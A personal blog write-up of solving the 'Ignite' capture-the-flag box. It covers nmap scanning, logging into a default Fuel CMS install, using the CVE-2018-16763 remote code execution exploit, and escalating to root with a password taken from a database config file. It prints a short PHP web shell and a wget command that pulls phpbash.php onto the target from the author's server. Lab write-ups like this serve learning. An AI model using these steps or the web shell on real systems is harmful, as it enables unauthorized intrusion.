Ignite - How I just need to git gud

go back / p4p1

Created on: Sat. 18 april 2020 05:22:43 CEST

So this is very experimental for me, I am not very good at cyber security yet but I'm working hard to be so this post is dedicated to that :) so let's get to it!...

I started by scanning the living shit out of this box. It's the first time I'm going blind on a box without any prior knowledge of what I'm up against so it's hard for me to get a grip on things, more on that later :)

            nmap x.x.x.x

            Starting Nmap 7.60 ( https://nmap.org ) at 2020-04-17 21:38 CEST
            Nmap scan report for
            Host is up (0.024s latency).
            Not shown: 970 closed ports, 29 filtered ports
            PORT   STATE SERVICE
            80/tcp open  http

            Nmap done: 1 IP address (1 host up) scanned in 7.74 seconds

            sudo nmap -O -sV --script vuln x.x.x.x

            Starting Nmap 7.60 ( https://nmap.org ) at 2020-04-17 21:39 CEST
            Pre-scan script results:
            | broadcast-avahi-dos:
            |   Discovered hosts:
            |   After NULL UDP avahi packet DoS (CVE-2011-1002).
            |_  Hosts are all up (not vulnerable).
            Nmap scan report for
            Host is up (0.061s latency).
            Not shown: 999 closed ports
            80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
            |_http-csrf: Couldn\t find any CSRF vulnerabilities.
            |_http-dombased-xss: Couldn\t find any DOM based XSS.
            | http-enum:
            |   /robots.txt: Robots file
            |   /0/: Potentially interesting folder
            |   /home/: Potentially interesting folder
            |_  /index/: Potentially interesting folder
            |_http-server-header: Apache/2.4.18 (Ubuntu)
            |_http-stored-xss: Couldn\t find any stored XSS vulnerabilities.
            No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
            TCP/IP fingerprint:

            Network Distance: 2 hops

            OS and Service detection performed. Please report any incorrect result
            s at https://nmap.org/submit/ .
            Nmap done: 1 IP address (1 host up) scanned in 457.59 seconds


While those scans were running, I visited the page on my browser to see if it had a web app running.

Looking at this page thinking to myself wtf is this, I started researching fuel CMS and what it's for. I then figured out it's some kind of WordPress like web app. Looking a bit deeper in the project I understood it was running CodeIgniter a PHP5 framework. Knowing this there probably is an exploit out there for this. Going through exploit-db I found the CVE-2018-16763 exploit. Knowing from the code and the title of the attack it's a remote code execution one.

After figuring this out I went back to my nmap scans and saw that they were finished. I found the version of apache that they where using and some useful links provided by the nmap script. I started looking around the first page and saw some cool information I could use, I wrote down the different links from the page and at the bottom I found default login credentials.

When I saw this my brain finally clicked. The user didn't set anything up this is a default installation of Fuel CMS. I then decided to inspect the robots.txt file:

And to my big surprise I found a path for the fuel page. I then visited it and put the admin credentials in

Cool I found an entry point to the Fuel CMS :) without thinking further, (BIG NO NO!) I started thinking to myself "Oh shit! I'm gonna upload some php backdoor" so I rolled out a simple php script that I would use for that:

            if (isset($_GET["cmd"])) {
              echo exec($_GET["cmd"]);

But it didn't work, uploading a file on the server got me this error:

At that point I was confused as hell, my file was four fucking lines, how can it be too big?! But whatever I kept going and finally found a way to upload it by setting a few variables in the main dashboard of the server. Now trying to visit the page was an other story, when I visited it I got error 404 now that part is so confusing for me because on the admin panel it was there... Why?!?!? But OK so after doing a bit of research on the room I found out that I should probably be using the exploit I found on exploit-db instead of creating my own. LOL.

So after that I ran the script by swapping a few values around and removing their proxy settings inside of it, bang! I got a sweet shell.

            cmd: whoami

            cmd: pwd

Now I am not sharing a screenshot of my terminal because the script would print error messaged between each output, no clue why but who cares? It works :) Looking back at the write-up thinking this shell is terribly shit I see that this bloke uses phpbash.php what a genius so I downloaded the php file and put it on a web server and then ran a wget on the box to download the script.

            wget http://x.x.x.x:8080/phpbash.php

I then tried to visit the page and yup it worked better than my shady script.

I then looked around for a bit on that shell and thought "wait, the second flag name is root.txt I need to be root!" so instead of looking for the first flag I started trying to do some privesc, so I typed sudo -l in the terminal and realized that I needed a tty so I wondered if I could just do a reverse ssh shell to my machine and go from there and after 100 failed tries I gave up and went to the home directory of the user and found the first flag :) cool. Now that that was done I decided to go back to messing around with tty's.

After a few hours I went nut's why the hell can't I figure this thing out and at that point I'm also starving to death (not the best of ideas LOL) so I looked back at the write-up I was on before and I saw that he managed to do it. So I was on the right track but I just didn't know how to do it. So after some hard understanding (copy-paste) I managed to get some progress

Now in the tty session I started going through all of the files on the system looking for some privescs but looking back at my research phase I saw all of the config links that I wrote down. I saw a MY_config one but nothing was there, even the config.php was useless. Bloody hell, at that point I felt like I was just wasting my time reading weird ass config files and then, the light, I displayed the content of the database config and I saw something beautiful!

So yeah hallelujah!! The root password! I then logged-in as root via the shell that was previously set up and yeah I finally finished this room.

Now looking back at this experience. There are a few sticking points I need to address so that I can progress faster. I need to look a lot deeper on how different stuff works. Spend a bit more time researching and trying to understand more about the services that are running out there. I also need to take my time a lot more and really relax while I do this. For me this is the hardest part I think because I am so used to being really efficient when I code for example. It's hard to take a step back and really take my time. I also need to work more on tty's and reverse shells. I did write in C a reverse shell but it was very basic. I am also really interested on how they work. I also need a more organized approach at pentesting I am really all over the place when I pentest so I need to find a better approach. I think I will acquire most of those points with time. I am still learning anyway :)

As usual, thank you for reading! Follow me on github and share the page to other pentesters so they can have a laugh ;)